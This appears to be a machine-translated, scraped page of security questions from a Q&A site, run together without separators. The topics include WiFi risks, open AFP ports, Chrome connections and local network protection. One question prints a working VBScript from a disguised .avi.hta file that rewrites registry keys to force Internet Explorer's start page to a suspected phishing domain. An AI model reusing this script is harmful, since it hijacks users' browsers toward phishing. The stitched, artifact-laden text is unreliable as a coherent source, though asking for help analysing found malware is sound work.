标签: security

我想知道使用 WiFi 互联网而不是电缆有什么风险。

为什么电缆更安全？为什么WiFi更脆弱？

标题说了算；我想阻止用户在 Ubuntu 上查看无线网络密码。通过包含的名为 seahorse 的应用程序可以轻松查看它。

有一台不是我的计算机可以在我的网络上访问。我什至可以通过 AFP 访问它的文件系统。我想知道的是计算机如何进入我的网络。我的网络是这样保护的：

这是否意味着他们使用了密码破解工具？我猜这个通行证并不容易猜测，但通过蛮力黑客攻击并不难弄清楚。

如果我被黑客入侵，我应该切换到 WPA 吗？

我在 Windows 和 TCPView（SysInternals 免费软件套装）中使用 Chrome，我看到 chrome.exe 建立到这些 IP 的连接：

173.194.37.104
209.85.146.138

使用http://www.ipaddresslocation.org/我检查这些 IP 并查看它们与 Google 相关。

现在，为了澄清，这些是我做的确切的事情：
打开 chrome，默认页面设置为空白（即没有主页）。
然后我进入我的网站，该网站有一个空白页面，因此没有发出“其他”http 请求。

从这一点开始，有一个持久连接，通常是“173.194.37.104”。

这些是什么？？很可疑。。

编辑 #1：
- 我从一开始就处于“隐身”模式，启动 Chrome 时，使用带有“-隐身”开关的快捷方式。
- 我已关闭所有网络钓鱼防护和其他“高级”功能，以减少 Chrome 的网络活动。

好的，所以，这是我的问题。前阵子，一个朋友想从我这里拿一些文件，所以我给了他我的 AFP（Apple 文件协议）地址。很像 FTP SSH 或 SMB。它对 mac 用户来说很酷，仅此而已。他真的很惊讶我正在转发那个端口，并警告我关闭所有端口，ssh、ftp、afp、smb、torrent……等等。基本上关闭了我家的所有端口。他说我应该只打开一个端口，然后将 VPN 连接到我的防火墙后面，然后我就可以访问我的所有协议等等。我知道这样更安全。但它真的很慢。我是一名摄影师，我可能需要下载 20-30 GB 的文件。如果没有 VPN，这需要很长时间。使用 VPN，它甚至需要更长的时间。

那么，是否真的有必要关闭所有端口。我有很长的复杂密码，这些密码是嘴唇数字数字大写字母和小写字母的组合，全部混合在一起，不包括单个字典单词或首字母缩略词。

我可以打开我的 AFP 端口吗？DDOS 甚至暴力攻击的几率/风险是多少？

我在某处读到有线家用路由器通常充当交换机集线器，当您将数据发送到路由器时，它会将数据广播到整个网络，即使它是寻址到外部计算机也是如此。因此，只需将另一台计算机连接到路由器，就可以拦截从 LAN 到任何地方的不安全通信。

许多家用路由器是否仍然如此？

在 Windows 资源管理器中拖放文件与复制和粘贴之间有区别吗？我在论坛上读到拖动比复制更可靠。这是真的？复制可以创建一个与原始文件不完全相同的文件吗？

假设敌人获得了我家用计算机的 IP 地址，并将这一事实传达给我，企图威胁/勒索我。

我的风险到底是什么，我怎样才能将它们最小化？

我的操作系统是 Windows Vista，我的 ISP 是 Verizon。

请帮助我确定我的计算机是否已被入侵。

我还不确定这是什么……我还在浏览我在“研究”期间发现的一些 JavaScript（我的级别 = 初学者）文件……

故事：

1. Windows 7 x64 Professional、Eset Smart Security 4.2.71.2、最新版 Firefox、最新版 Chrome、IE 8

2. 我在 Chrome 的默认下载文件夹中找到了一个文件adam-liseli-kizi-otele-goturup-sikiyor.avi.hta 它是一个 VB 脚本：

   Set shell = CreateObject("WScript.Shell")
   shell.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\URL\Prefixes\\mirc","http://aarama.net/","REG_SZ"
   shell.regwrite "HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
   shell.regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
   shell.regwrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://aarama.net/","REG_SZ"
   shell.regwrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://aarama.net/","REG_SZ" 
   self.Close
   

   Run Code Online (Sandbox Code Playgroud)

3. 我关注了aarama.net，发现有一个钓鱼网站（我认为）看起来像谷歌，其中包含很多我现在正在尝试理解的 JavaScript。

当我在大学或参加 LAN 聚会时，我正试图保护我的计算机免受本地网络攻击。

在家里，我们有一个用于此目的的路由器。但是在大学和局域网我没有这样的东西，这让我落后于 Windows 防火墙，我的猜测也不能很好地阻止本地网络流量。如何关闭连接或屏蔽我的计算机以防止本地网络攻击？